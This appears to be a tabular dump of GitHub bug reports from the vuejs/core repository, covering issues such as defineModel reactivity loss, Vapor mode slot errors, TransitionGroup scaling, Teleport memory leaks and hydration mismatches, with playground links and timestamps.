    Node: 23.11.1 - C:\nvm4w\nodejs\node.EXE
    npm: 10.9.2 - C:\nvm4w\nodejs\npm.CMD
    pnpm: 10.19.0 - C:\nvm4w\nodejs\pnpm.CMD
  Browsers:
    Chrome: 141.0.7390.108
    Edge: Chromium (141.0.3537.92)
    Int... [TRUNCATED]",scope: types,2025-11-05T06:35:18Z,2025-12-18T08:30:08Z,1
vuejs/core,3585007663,defineModel的响应式丢失,"### Vue version

3.5.13

### Link to minimal reproduction

引用类型例子：https://play.vuejs.org/#eNqFUs1u00AQfpXVXpKqxRaKuEROBFQ9FAmIgFu2Qq49Sdyu19b+mEiWHwAhxIFyQ0j8HLhwKKcI+ji4fQ1md5M0lar0tjvzzTffzHw1fVSWQWWA9mmkEpmVmijQphwykeVlITXZn2U8JRNZ5KQThO5nCzprQE0kTEizhPgUE0khlCZJYYR+WqTAycDCumNhOD/aYSIKfTtshB8NecljDfgjJPItq3u5LRwwes3CKMnVFEOXn98u8+3Fp6uzn1fnf9sv79qP79s/Z+3Fh8tf39vFgtFwk3BV+vvrHdX/Ft/aH+e+Ogo3tNE9qhVONsmmwYkqBG6ttg2sxLzMOMjnpc5wckb7xGVsLua8ePPExbQ0sLeKJzNITm+Jn6i5jTE6kqBAVsDoOqdjOQXt0wcvn8Ec3+skTmQ4orckX4AquLEaPeyxESnK3sA5tYfutJmYvlIHcw1CrYayQi2ycXhG8dz7W0a/ltsLeq6OiQa3uLbRLb7zznHXQdOkMMkEuON3a/zEhus+6e6QwZCMjxp0kkeMZFGq7riDN+5YfzExMSKxiogpUzwfljhZjjioYm4g4CCmera7i6K2OzLNqmFdI3fTkFEsQWhyjKZcm5RkCqeul+SeljRNFNpCx3BstEYtDxOeJafoQi+K0eGhSCTkyBiFHnPTdLis1xVIewDcVS94ENzv0eY/Ka9btw==      基础类型例子：https://play.vuejs.org/#eNqVUk1rFEEQ/StNX3ZD4oyS2zJZ1JBDBHVRb7aHyUzNppOenqY/xoVhwKuIeNCjKMGzBz2F6N+Z5G9Y3b27iRAWwjAwVe9V1aup19FHSiWtAzqhmSk0V5YYsE5NmeS1arQl+8dclKTSTU1GSRoiXzBaEzqioSL9khIh/xSNNJYUjZP2aVOCIHueOH6wxWSWxlk4BQMLtRK5BYwI8W8WZ5L2Xu0L9xi97sIoIbWZY+7y6/slYfh+cXX27urXn+Hbh+Hzx+Hiy/D30+XPH8P5OaNpaLtquSz9fXaH6iy9oZDuUGtwtYrPkxPTSPxxXdCNGmvFBejnynJcndEJCYjHciGat09CzmoHO6t8cQzF6S35E7PwOUZnGgzoFhhdYzbXc7ARPnj5DBb4vQZxIyeQvQF8AaYRzmuMtMdOlij7Bi+oPQzX5XL+yhwsLEizWsoL9cw+8BnFi+9vWP1a7m6yG+qY7PEvrp10i/WidcJ10DUlVFxCuP64wyB3wk7I/R6NFKGZbpQZvx7hcUdvMFs5WXghxKkSrzbeimpCv6TNhYPtbRSx0YdZydtp12HLviezXIO05AhdWK5cSbjBLbulyr7PUl8RSo+ctTj9YSF4cYp2izIYnR7KQkONrbI0cv53F+3/AUDvTj0=

### Steps to reprod... [TRUNCATED]",,2025-11-04T06:59:06Z,2025-11-04T08:01:35Z,4
vuejs/core,3582870816,v-text/v-html will override element children forces shutdown,"### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kU9Lw0AQxb/KuJco2Iaip5IW/FNQDyoqeNlLSCfp1s3usjsbCyXf3dmEag/S47z3Zvg9Zi9unJt2EcVcFKHyyhEEpOiW0qjWWU+wB4819FB720LG0UwaaSprAkEbGlgk/zx7QK0tfFqv12fZhTRFPp7jQzwQtk6XhDwBFJsZdBPCHS2k4BNSLO+xLqMm6Eodscg3szGojIssTlq7Rn0IQ85mkR+dFJeCAhPVqplugzVcZp/2pahs65RG/+JIMbEUcxic5JUM/P00aOQjXh70aoPV1z/6NuySJsWrx4C+Qyl+PSp9gzTaq/dnrnZkMn3UnD5hvmGwOibGMXYbzZqxj3ID7ePwEmWaj7DaEZpwKJVAU7If8lLwm+5OVP/DvZpeD3vS9KL/AVsQrcg=

### Steps to reproduce

Set your node env to production with some default values applied. e.g.

```html
<span v-text=""price"">0,00</span>
```

Try to build and load the page.

### What is expected?

Since we're only using Vue for interactivity which loads later we want to use placeholder values. E.g. using Laravel for your SSR you could use this for a product listing:
product.blade.php
```blade
<product :product=""{{ $product->toJson() }}"" v-slot={ price, productOptions, availableOptions }>
    <div>
        price: <span v-text=""price"">{{ price($product->price) }}</span>
        <label v-for=""(option, id) in availableOptions""><input type=""radio"" v-model=""productOptions[id]""> @{{ option.label }} @{{ option.price }}</label>
    </div>
</product>
```

Allowing a placeholder for the price instead of causing many layout shifts due to vue booting up. And then allowing Vue to take over later to update the price, for when you select different options

### What is actually happening?

You are greeted to a w... [TRUNCATED]",,2025-11-03T16:41:35Z,2025-11-04T02:47:51Z,2
vuejs/core,3579680736,Vapor Mode - Unable to use template-only component in slot if component is template-only,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNqtUstOwzAQ/BVjriRBFHEopRKgHsoBECBxsYSsdJu6OLZlO6FS1X9n7TRpilq4cLNnZp+za3prTFpXQId05HIrjCcOfGVIzY22RHJV3DDqHaNjpkSJmCfvIHNdwtRDSeZWl4TRNOuBIR+j153+XpdmJwy/TjHKmqKYHD8YayT3gD9CRr2MEUCoFZBTkWu1RRGPFbJWle3n6beGyB5Nz3A2TDUXRbp0WuEa1iGIUYwwQoJ9Ml5ohfMPSWQCx6XUXw8R87aCsxbPF5B/HsCXbhUwRp8tOLA1zt5xntsCfENPXh9hhe+OLPWskqj+hXwBp2UVemxkd5WaYds9Xex2Gq0Qqnhzk5UH5dqhQqNBuYl6RtGZsM1jo+/aHaSXMY6pDW7xh/3hnE6ShPx1U53/JEmCN/vOzURNcsmdQ7lAKh5htNhJ7YniJQQG/WtSIbi1HCMPWN2e3r91N/bgcKlHC37UYMOmseAgvUrPEy7NgqcXdPMNJtMlpw==

### Steps to reproduce

1. Prepare 2 template-only components (named `A` and `B`)
```vue
<!-- A.vue -->
<template>
  <div><slot /></div>
</template>

<!-- B.vue -->
<template>
  <div>Testing</div>
</template>
```

2. in `App.vue`, use `A` and `B` component, with `B` in `A`
```vue
<!-- App.vue -->
<template>
  <A><B /></A>
</template>
 ```

3. Ensure vue is in vapor only mode (or `App.vue` is in vapor mode)
4. Go to website

### What is expected?

Vue should render `App.vue` like non-vapor mode (VDOM mode?)

with `<div><div>Testing</div></div>` as rendered content

### What is actually happening?

Error occured when rendering:
```
Uncaught TypeError: can't access property ""insert"", block is undefined
    insert https://cdn.jsdelivr.net/npm/vue@3.6.0-alpha.2/dist/vue.runtime-with-vapor.esm-browser.js:13114
    insert https://cdn.jsdelivr.net/npm/vue@3.6.0-alpha.2/dist/vue.runtime-with-vapor.es... [TRUNCATED]",,2025-11-02T16:03:26Z,2025-11-03T00:36:49Z,1
vuejs/core,3574245801,lazy model modifier not working with defineModel,"### Vue version

3.x

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU01v1DAQ/SuDL2mlkj2UU8lWAlREkSgIkLj4kiazwcWxjT+WXYL/O2ObTbe03d7sec8zb2aeJ/bKmHodkJ2xxnVWGA8OfTAgWzUsOfOOs3OuxGi09TCBxRVEWFk9QkXPqhm6VCb4twJlX1DO6sVtLJXg7CVXnVbOw+gGWKZcR9U7lFLDN21l/6w6ngnbqzBeoy2sxnkr1AB/QOXo+VF1Wh1TtmZRNJNCungcjWw90g2g2RO0fj7qHmUt299b6omqcwaLTINGJN7jFMr7QKaiIxH/CX004SHmtc2HcQsjOtcOeAbTlIcT4x5YUhRsN5cYU/d7HbMT2hUNbyWG+sZpRQud0nvOOj0aIdF+NF7QcDmjTLk+YS0N/9f7HPM24Mku3n3H7scD8Ru3STHOPll0aNe01BnzrR3QF/jiyxVu6DyDNIwgiX0A/IxOy5A0FtrroHqSvcfLai+z38gOX93FxqNyu6aS0MSMmc8ZWe7NgdZv5Z7WL/I7riJN8a5pn/gXAMWvZedL6HElFH5Im79v2vR7fgZhsS9iIT7l4V6si1X+cxUJyPfZS82iUO9aIv4F+SVO/g==

### Steps to reproduce

In the given playground we have an `InputField.vue` that uses defineModel to manipulate the value in a native input field, if you use the number or trim modifier on it the conversion works out of the box, but if you use the lazy modifier it does not. I suppose this inconsistency is a bug or it should be documented

### What is expected?

The lazy modifier should work out of the box.

### What is actually happening?

The lazy modifier does not work, while trim or number work.

### System Info

```shell
System:
    OS: Linux 6.8 Ubuntu 22.04.5 LTS 22.04.5 LTS (Jammy Jellyfish)
    CPU: (20) x64 12th Gen Intel(R) Core(TM) i7-12700H
    Memory: 10.31 GB / 31.05 GB
    Container: Yes
    Shell: 5.1.16 - /bin/bash
  Binaries:
    Node: 22.14.0 - /home/michael/.nvm/versions/node/v22.14.0/bin/node
    Y... [TRUNCATED]",,2025-10-31T10:03:39Z,2025-11-02T01:25:03Z,1
vuejs/core,3574160009,BUG：The SVG width was rendered incorrectly,"### Vue version

3.4.35

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UstOwzAQ/JXFXJu2CLiggASIAxwAAUdLKHW3icG1LXuTBqH+O+tYDU8hJZJ3ZnY9O8m7OPd+2rUoTkQZVdCeICK1/kxaactZhnJBuPamIuQKoNwrCnhqEDZ6SQ24FRAXSgdlEGLjWrOEBcLB8dz3E1i0BJqfCM6aNziYMwpFkSfFrs5TTqVgvRTQoK4bGstO42bheq7nME/N6ZVi6Ob+fGkuAFTSpbYRePsBrLQxDFGobPRVQEufXPihjRTcKzK4v0pXfocLoy2qyjMdXGuXv/hxqx1zVs6y27z5jFfnUzn7Eq2YCIrK2ZWupy/RWf4w70kshXJrrw2GO0/a2SjFCQxM4ipj3OZmwCi0ONnhqkH1+gf+EvuESXEfMGLoUIqRoyrUyJkk+urxFns+j+TaLVsO+z/yAaMzbfKYZRccDdv+ohvcXq+9C6Rt/RSvekIbd0slo0m5HfRS8N95+c/qn3YPp0dDn7RbTvG5w5BmcoBMTA+PxfYD8dzpuw==

### Steps to reproduce

 The width of the circle should be 150px, but it is only 100px 

### What is expected?

The width of the circle is displayed as 150px normally

### What is actually happening?

 The width of the circle should be 150px, but it is only 100px 

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-31T09:43:55Z,2025-11-01T14:28:08Z,1
vuejs/core,3568783567,infinite loop,"### Vue version

3.5.19

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kT1Ow0AQha8y2sZECrEQVJGJFFAKKAAB5TaRM3Y2rGdX+5NEsnwCas5BxZUQx2C8UUIKlG7nvbcz32haMbV2tI4oxqLwpVM2gMcQ7USSaqxxAVpwWEEHlTMNZBzNJEmqIpVBGYIaw3R6NmglAYSlMxsg3MDMOePOsu+v95/Pj2wgqZNU5LsB3JqLgI3V84BcARTLi0nb7ntB1xU5K8lRZGOA9XljFqivpWh8LQXkbBb5UQ8xFMGXhipVj1beEO+TkKQoTWOVRvdoe14vxRiS03tzrc3mPmnBRRzu9XKJ5ds/+spve02KJ4ce3RqlOHhh7ph/Z89eHnDL74PJ9FFz+oT5jN7o2DPuYjeRFox9lEu0d+kqiupXP9sGJL9fqgftk13KS8GXuj2x+h/u5egq/eMjie4XUXew+w==

### Steps to reproduce

模板里调用函数进行报错

### What is expected?

不出现死循环

### What is actually happening?

看代码

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-30T03:27:47Z,2025-10-30T03:33:14Z,1
vuejs/core,3561956033,`after-enter` event triggered even when `transition` wrapped in `keep-alive` never shows its child,"### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UstOwzAQ/BXjS4tEkwOckFvxUA9wAAQcfQnppjV1bMt2SqUo/86u05Ty6iGxvTs7O2tPy6+dyzYN8EsuQumViyxAbNxMGlU76yNrmYeKdazytmYjhI72qVtbu108y+lATJiWprQmINPKfrAp1Y+rQgc4lUbkfRfkx0OE2ukiAp4Yo0+8NTFaw65Krcr1VPIdxQmtks9ouWRt21N3ncj7gkSH5WsANym02vSUGEkaNxNV7ciQRCStCSDybxUiP1DEz3gMOEilltl7sAavqE06eYnlSoN/dFHhoJKjpL6d5IXW9uM+xaJv4GyIlyso13/E38OWYpI/eQjgNyD5PhcLv4TYp+cvD7DF/T5Z20WjEX0k+QzB6oY09rCbxixQ9gEuqb1Lr6nM8jXMtxFMGIYioYTsEl5yfF26uf9G/5J7nl2kOmk6vMXBGX94bHDKqiBl11UEPzf4wycfn7LprCcnjNWQabscjwoCTYBQIzQU9jjiKfHqC5yHtLKrg0o0w8+WaIydZcgvZBUEJdti5nal9ELkg2m+WH+ZpvsEx1wfEg==

### Steps to reproduce

Click the button repeatedly, and you’ll notice that `after-enter` is logged in the console.

### What is expected?

The `after-enter` event should not be triggered when no transition is applied.

### What is actually happening?

The `after-enter` event is triggered even when the element wrapped in a `transition` is never displayed.

### System Info

```shell

```

### Any additional comments?

[discussion #14030](https://github.com/orgs/vuejs/discussions/14030)",🔩 p2-edge-case,2025-10-28T14:49:08Z,2026-05-27T08:56:46Z,0
vuejs/core,3555546835,"change data quickly by click or setInterval, get detached dom inscrease in devtools","### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNrtVM1y0zAQfpUdnRxInZZyMkmHUnooMwUGesMchLNO1MiSR5LTZjJ+d1aS7fy05AnIJfJ+q91vv93Vll3XdbpukGVsagsjagcWXVNf5UpUtTYOtqDVvW6Uw/kYDPLCiTVCC6XRFeSM7ubsQ64KrayDmi/wM3ccZoNrss0VwAo3GSh8AkIxGaULdA+iotPYo4pXmFEwrGq3CUFyFoBiKeTcoMrg128ytKMh05KrucQb+hsyJiOYXUFIJ0pIei6pjw6z2YwSeNtFzkbRCwa+nU/n8S5UdIATf4JfK+DYs6dM7tfG8E3qhUq2IFEt3DKDi/Pzc2hHacXrJDKOCvnfP1WCt3DP3TI1VDVFi6r5X69coalbCpXLWe9bSq1NcnAN3oT0u+tH+npTO4oltYDS4mmhSMr/QrU0l3QYtqQjG7hOJqBrKtEthQWnabcQKqy02VCZfAUltw6N96Stu6PbZs3lfgB4MeidkO0YLokgncNSTCdxe2lv6cPRIklShr4ApnOxhkJya2c5W6KUOmcBIOhP45xW8LGQolh5+CgZeQaI6vcmmJNtOom3+hg+fOaBM6FKTUEOZoVkzqhb+2b6HBjsOKzPSm3ILSgNQr0clF2oYDmKA7DdxjbFGW2pL12GI8ITYhyV6U7TyZ5gbMycpTemFIv00WpFL2PoRBwdIdF8q52gNyhnWd+jnHGS9elLsDnTYDcinikWq1fsj/bZ23L23aClrvcPnsccNzTPEb79+RWf6TyAlZ43krxPgD/Qatl4jtHtU+Obavb8Atu78L4LtXiwt88Ole2L8kTjiMW66Ym/OVH6ju5l+r5fCNb+BbqeBeY=

### Steps to reproduce

1. The faster the data changes, the more likely it is to occur.
2. The more complex the component, the more likely it is to occur.

### What is expected?

1. detached dom keep normal

### What is actually happening?

<img width=""1077"" height=""389"" alt=""Image"" src=""https://github.com/user-attachments/assets/391f4157-09f6-48bc-9169-f55c6ad0c48b"" />

### System Info

```shell
Chrome Version 141.0.7390.123 (Official Build) (x86_64)
```

### Any additional comments?

_No response_",,2025-10-27T08:05:38Z,2025-10-30T00:59:16Z,1
vuejs/core,3553375893,[DEFECT]Toggle not working correctly when component v-model get is removed from modified,"### Vue version

^3.4.27

### Link to minimal reproduction

https://github.com/hinlocaesar/Bug-Report-Vue-Toggle-Input-Custom-Modifier-Get

### Steps to reproduce

[Replicate Issue]
1. Make sure the get modifier for the custom component v-model is hidden in the code.
2. Toggle it on and off.
**Result: The toggle does not respond immediately.**

[Replicate Expected Behavior]
1. Make sure the get modifier for the custom component v-model is applied in the code.
2. Toggle it on and off.
**Result: The toggle responds immediately n a single click**

### What is expected?

Result: The toggle responds immediately in a single click

### What is actually happening?

The toggle does not respond immediately when the **get** custom v-model is removed

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (6) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.4.27 => 3.5.22
```

### Any additional comments?

I tried to replicate issue both on local and stackblits",,2025-10-26T07:16:07Z,2025-10-26T07:19:59Z,0
vuejs/core,3552119400,Dynamic component tag names from slot props fail to resolve in Vue templates,"### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kk1PwzAMhv+KyWVDGu0BTlM3BNMOcIAJOOZStd6WkSZR4o5JVf87brovTYxLVNuv3z520ogn55JtjWIsslB45QgCUu2m0gCoyllP0ECJS2VwZjk2aAhaWHpbwYAbB9J00sKaQDBbK12eZJPLxuHwFiZT6M/BGrW2N4Pbc4dF7q90Om9dGDFM0JYCtNGj6ToBPCN7s/eN9ceEDfJa07DpqcaXcC3/F+KZpf3kPDMHhJXTOWHcQLbn2d51rhMp9m7QShEFLImJtJenvZ6DLD0zEiNBgQdcqlWyCdbwtiO5FAXzKI3+3ZHiBUgxPswkRc7r+XmNOfI1jg75Yo3F9x/5Tdh1OSkWHgP6LUpxrFHuV0h9ef75hjv+PhYrW9aa1f8UPzBYXXeMvey5NiVjn+ki7Ut8McqsvsJ8R2jCYagONO476qXgl9NdxbXRT7j3yUPsk6YV7S+KCuLN

### Steps to reproduce

1. Open the SFC Playground link
2. Observe the error message: ""Failed to resolve component: Child""

### What is expected?

I expect the `Child` component to be resolved and rendered without any errors.

The component can be switched reactively when its name comes from script binding metadata ([playground link](https://play.vuejs.org/#eNqNUstOwzAQ/JXFlxapasXjVKXlJQ5wAAQcfQnJJnXr2pG9LpWq/jvrmD5UKOISbXZ2xjNrr8RN0/QXAcVQZL5wqiHwSKEZSwOg5o11BCsosVIG7yz/GzTUg4LLQFj2wGEFa6icnUOHdTrSRGZhjSe4myhdbllnMDoU6nZPYTSG9O1MUGsLZ53TYwrn/1M4jwo7DbJ1rZGpbLVb5drj4QGMbQJ96yVOf5HrgHD1I8jw0BgrZoO0P94c/xDOG50TtnvMPgKRNXBdaFXMRlJsLZ2kSopxKrJBGk209pAB19lgT0/0BHl2X6m6P/XW8NWt4rgUMYTS6J4bUpxOiiG0SMRy3sznY9sjF7C36RcTLGa/9Kd+GXtSvDj06BbscYtR7mqkBN+/PeGS6y04t2WIif4AX9FbHaLHNHYbTMm29+Zatw/t81Omfvf3S0LjN6Gi0Ti5buel4HcXr+JY9J3di/5ly5NmLdZfGWf9TA==)).

I believe that slot prop binding names can also be extracted by analyzing the AST.

### What is ac... [TRUNCATED]",,2025-10-25T08:36:37Z,2025-10-25T18:05:34Z,2
vuejs/core,3545353823,Teleport memory leak,"### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U11y0zAQvsoimHE6KU5oCw/BzfAzfYAHYChviJm6ziZRq0gaS07DeHwPDsApeOA4cA1Wsuy0jCcvtvR9+62+Xa1q9tqYdFshm7HM4cbI3OGcK4DsunJOK3hVSFHcnnOm1eVa33E2//Pj99+fv7JJG9AGO5RodOlg5jTFOk1xniBqIbawfWpJS4T/9VQkC5lb60UxB2cUv9QlQYIsgVCgjRNa2XtKgLr2bCrza5RN02ecUMru6H6dTbrktPWbvtDMFqUwDiy6ytBebEIZNZS4hAaWpd5AQv1JuOKqIA8OnIZzT4+Sx7kxyVGH+9oi48oKCe+YaJ/Ir95N3drb5rLCGSQfA/ssOW7hUND/cBO+g8KTYWGEDwhPh4URPiA8GxZG+IDw+bAwwl74zTeN7h5GEh0I6tj0Jf0yOJlO/Wo8PmpTx5amprLr0cPDrtqsT2oBY3jRXD08c5Bt6LJohOjoShWehnbaR/E0f7VpSE+OHu13QZVN2hkK0+S+SwRbaIML2gfSQ3N2zBzBailW6Y3Vit5byMxZoTdGSCxbXzTjs655nOVS6rv3AfMjFSshzRqL2wH8xu48xtmnEi2WW+Ss51xerpAel6cvLj/gjtY9udGLSlL0AfIzWi0r77ENe1OpBdm+FxfcvgsPSKjVF3uxc6hsV5Q3up8PzuhRvT1Q+t7uaXoWdNRs1vwDwNiFbA==

### Steps to reproduce

click `button`

### What is expected?

No memory leak

### What is actually happening?

Using `v-show` or `v-if` witn `Teleport` can cause memory leaks
<img width=""1915"" height=""883"" alt=""Image"" src=""https://github.com/user-attachments/assets/a563cc9a-79e0-4991-8976-e3e8e045d9b1"" />


### System Info

```shell

```

### Any additional comments?

_No response_",can't reproduce,2025-10-23T15:53:55Z,2025-10-24T06:19:47Z,1
vuejs/core,3543558021,CustomElements - Styles from subcomponents not injected anymore,"### Vue version

3.5.19

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-i3rghipa?file=src%2Fmain.js,src%2FApp.ce.vue&terminal=dev

### Steps to reproduce

1. Create a SFC ""App.ce.vue"" with some styles and a subcomponent that has styles to.
2. Import App.ce.vue in main and log (App.styles)

### What is expected?

App.styles should have all styles from all referenced components.

### What is actually happening?

App.styles does not have the styles that are defined in the subcomponent.

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-10-23T07:47:17Z,2025-10-23T09:15:41Z,1
vuejs/core,3535764080,Loss of reactivity on DOM related objects,"### Version
3.6.0-alpha.2

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNqtk99r2zAQx/8VoZcmtLPLOvbQOWFbl4cNto60j4Lh2ZdErSwZ/XADxv97T3LjKk4IfWgIWNJ97/S5O11Lv9V10jig1zQzhea1JQasq+dM8qpW2pKWaFiRjqy0qsgZSs++RLY7XAm4EbkxgyZJo9Pkwew5/Lj9vQSRWyjHTiPLiyOThZIGqV5DLpFn5qkmEp5igsl0ih69vlRVHG3fZ3RV75elfQEwddxYwLCowB3BX1byZh4xkCYXDq5J247IEukq0nVZ6h1efP87a5UkXwvBi8cZoyMPLgsNFUjL6HxYx2GztI8QyAaaUYYR0WHub6E64nWcbCSM6LI0KhuT9IJag+1Y8TV2U0l8ZK2/nNFCVTUXoG9ry7FdjCJ3j8VoLoR6+hXOrHZwsTsvNlA8Hjl/MFt/xuhfDQZ0A4wONpvrNSC9Ny/u/sAW14OxUqUTqD5hXIJRwnnGXvbdyRKxI12g/RleN5fre7PYWpBml5QH9cou6BnF8bk5kfor7lXyKfgx2WEV9+cJywjbME5FaHw8gyFUmADtCqv0ZLqLbjfchGcwI5f42kNs/xn6eig9P98J8Y8YhxM6RhlPN9YUZGnIosEL7kN2JxCNqwG34dJ3Af7XgPa9QMyr5HNy+SEX9SZPPtLuGXMCsyo=)







### Steps to reproduce
Press each buttons on the example to increment the property of each class.

### What is expected?
When pressing each button, the property of the related class should be updated and vuejs should render the new value since both class are reactive.

### What is actually happening?
DOMRelatedClass do not trigger a rerender when its property is updated.

---
Bug is also present on DOMPoint, it is on that one that I first encountered the bug when I was creating a 2d rendering engine with canvas.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-10-21T09:35:51Z,2025-10-23T14:15:38Z,3
vuejs/core,3514691930,TransitionGroup: Incorrect move animation when element has transform: scale(),"### Vue version

3.5.22

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU01v2zAM/SucD3ULJE6zdRcvHfaBHrbDNmy7zTuoMpOokSWBkt0UQf57KTl2cmiL+iS990g+0tQu++xc0bWYldnCS1IugMfQOtDCrK6rLPgq+1gZ1ThLAXZAuIQ9LMk2kHNYXpnKSGt8DNMoA9ZwHUXnS6E9XlRmMevTchK+BGycFgH5BrCoVQdSC++5ECcJQhmkVA/4WwQSxqugrJmuyLbugB8CN/jAYbd2W2VQDln+5Qzkk6OZszPIh0v+n6WfpFZyw9ITv2+GM9dezDj54GD2pIVBwvSxHb768KARvLQOa0aKsSXYxbBbSzVSCW/dFrzVqgZpSegPkWsErZRh7vKSWdEGm+B7VYd1CVcRTYDwjo1OSbClEuaM7WPpgrt+tshaUCBsPb42JUBqe2mpmVpSyZhEE5DGeuPwUtFRXnL3QuP5vHh/MWq7aWM7PFH286zbVJJzz32v5VWJE+TRZRNePB7fUq2KO28Nb2cKj2vSOKWRfroYy8tZ9okjJ7S2998TFqjFyYDLNcrNE/id590p+fCL0CN1WGUjF/iHYOjpmz8/cMvnkWxs3WpWv0D+Rp5+Gz32si+tqdn2iS65/ZbelTKrv/5mG5Bnc2gqGo3KfdJXGb+1ry+0frT7rrhKcTzRbP8IKGlOwQ==

### Steps to reproduce

- just click box

### What is expected?

- should not trigger move behavior of `TransitionGroup`

### What is actually happening?

- box jumps to an incorrect position, then the transition animation starts, gradually moving to the expected position.

### System Info

```shell

```

### Any additional comments?

In Vue’s `<transition-group>`, element movements are detected by comparing their positions using each element’s `DOMRect`. When a move is triggered, at time 0s, the element is temporarily translated to its previous position using the `transform: translate(...)` property, and then a transition animation begins.

However, if an element already has a `transform` property that includes scaling (e.g. scale(...)), the co... [TRUNCATED]",,2025-10-14T16:35:24Z,2025-10-15T01:39:57Z,1
vuejs/core,3511901002,Text interpolation handling of carriage return causes hydration mismatch,"### Version
3.5.22

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#__SSR__eNp9kNFLwzAQxv+VmJcpjA43fZl1oDJQH1RU8OVASnvtOtMkJGktlPzvXlI29zD2lrvvd5fvvoHfaZ10LfIlT21uau2YRdfqFci60co4NjCDJfOsNKphwIkFfgMSZK6kdayxFbsNyPnkEYVQUwADIL+UEcXZ5ILIdDYuppVUOGy0yBxSxVi6uVwNQ9zhfTqjKuAHCJ9yZ+mjsq6SrVWSbA5hEHiuGl0LNK/a1WQE+JJFJWgZ+fh9jj1nWpzu+vkG858j/a3tQw/4m0GLpqML95rLTIVulNcfL9jTey82qmgF0SfEd7RKtMHjiN23siDbB1x0+xTDrmX1ade9Q2l3RwWjgfSRj/k/nDj93+4iuYpzID2l+N2hCTspwEVynczn3P8BJjSm2Q==)


### Steps to reproduce
Load the page so that Vue hydrates the SSR HTML.

### What is expected?
Similar to [HTML parsing](https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream), I expect Vue to [normalize newlines](https://infra.spec.whatwg.org/#normalize-newlines) by replacing every CRLF with a LF and then replace every remaining CR with a LF.

### What is actually happening?
Vue renders the CRLF on the server as is. During hydration, Vue expects CRLF on the client. But the browser has replaced the CRLF with LF during parsing, causing a hydration mismatch.

---
Hydration mismatch also occurs when interpolating a CR that is not followed by LF.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-10-14T00:27:04Z,2025-10-14T02:21:00Z,0
vuejs/core,3505108673,migration build: COMPILER_V_BIND_PROP incorrectly implies v-bind:foo.prop was removed,"### Vue version

any vue3

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kl1LwzAUhv/KMTfZYHYMvZrdhspAvVCZA29yU9rTj9kmIUnnoPS/e5I6nSC7zHmfvH1OScdutY72LbI5i21qKu3Aomv1Usiq0co46MBgPoHW4hYbXScON5hDD7lRDXC6yoUUMlXSOmhsAQvPj/gD1rWCd2Xq7IKPj0CJSYaGmL91Iz4EfHwjZDwdREiBDu6bohNAXM58+0KwgRcM5rlSkTZK07BzeHBz6qJP816wZdcFpb6Pp+VsaKikbh3sLxuVYU13KKeWaQgJH3pXkW/1bbBaAefU4L1OXNiEOUs75VUR7ayS9P86XyFYqhpd1WhetKtoZ8HmEBKfJST2+RRmzrQ4Oc7TEtOPf+Y7e/AzwV4NWjR7FOwnc4kp0A3x+u2ZXE9C2q6tiT4TbtCquvWOA3bXyoy0T7hg+xheQSWLrV0fHEp7XMqLerIPvGD0Eu7PrP6rexVdh3tC9qz/Ao5P1Xg=

### Steps to reproduce

Read the available compat flags listed at https://v3-migration.vuejs.org/migration-build.html
Observe it says `v-bind.prop modifier removed`


### What is expected?

Complete and also accurate lists of compat build flags.

### What is actually happening?

v-bind.prop modifier has not been removed, and the flag COMPILER_V_BIND_PROP is only referenced in the incorrect documentation

### System Info

```shell

```

### Any additional comments?

_No response_",need documentation,2025-10-11T03:32:46Z,2025-10-13T07:00:46Z,1
vuejs/core,3501169123,shallowRef isn't consistent with the description in the vue3.x documentation,"### Vue version

3.5.x

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UstOwzAQ/JXFl4LUJKJwqkIlQD3AoUWlR1+idJumJLblR6kU+d9ZO2qIEOrNnp0Zz6zcsWel0pNDNme5KXWtLBi0Ti24qFsltYUOzKFoGvm9wT142GvZwoQUEy5KKQzxbWERnka02w5K6YSdwz34Oy64yDLYSTSwWm/B6rqqUEN5KESFnCxIn56KxmEaZeQ1G4v+CggfaYg9PDcDz0We9UWoAl0stqohMt0A8psk6bVzEnEWZZxFISRJz1EaFxcOlY/tvM+zgAf3kSObMmtoC/u6So9GCtpiFzyCc6vqBvVa2Zq2FN6IkzCLa3qPmNUOpxe8PGD59Q9+NOeAcfah0aA+IWfDzBa6wliBs+XnCs90Hoat3LmG2FeGGzSycSFjT3txYkexR7yY9i3+hVpUW7M8WxTmUioEDUwf+ZzRx3i9Uv037kP6GHVceOZ/AFMJ18o=

### Steps to reproduce

```vue
<script setup>
import { shallowRef } from 'vue'
const state = shallowRef({ count: 1 })

// does NOT trigger change
state.value.count = 2

// does trigger change
// state.value = { count: 2 }
</script>

<template>
  <!-- state: { ""count"": 2 } -->
  <pre>state: {{ state }}</pre>
</template>
```


### What is expected?

```vue
<template>
  <!-- state: { ""count"": 1 } -->
  <pre>state: {{ state }}<pre>
</template>
```


### What is actually happening?

```vue
<template>
  <!-- state: { ""count"": 2 } -->
  <pre>state: {{ state }}<pre>
</template>
```
### System Info

```shell

```

### Any additional comments?

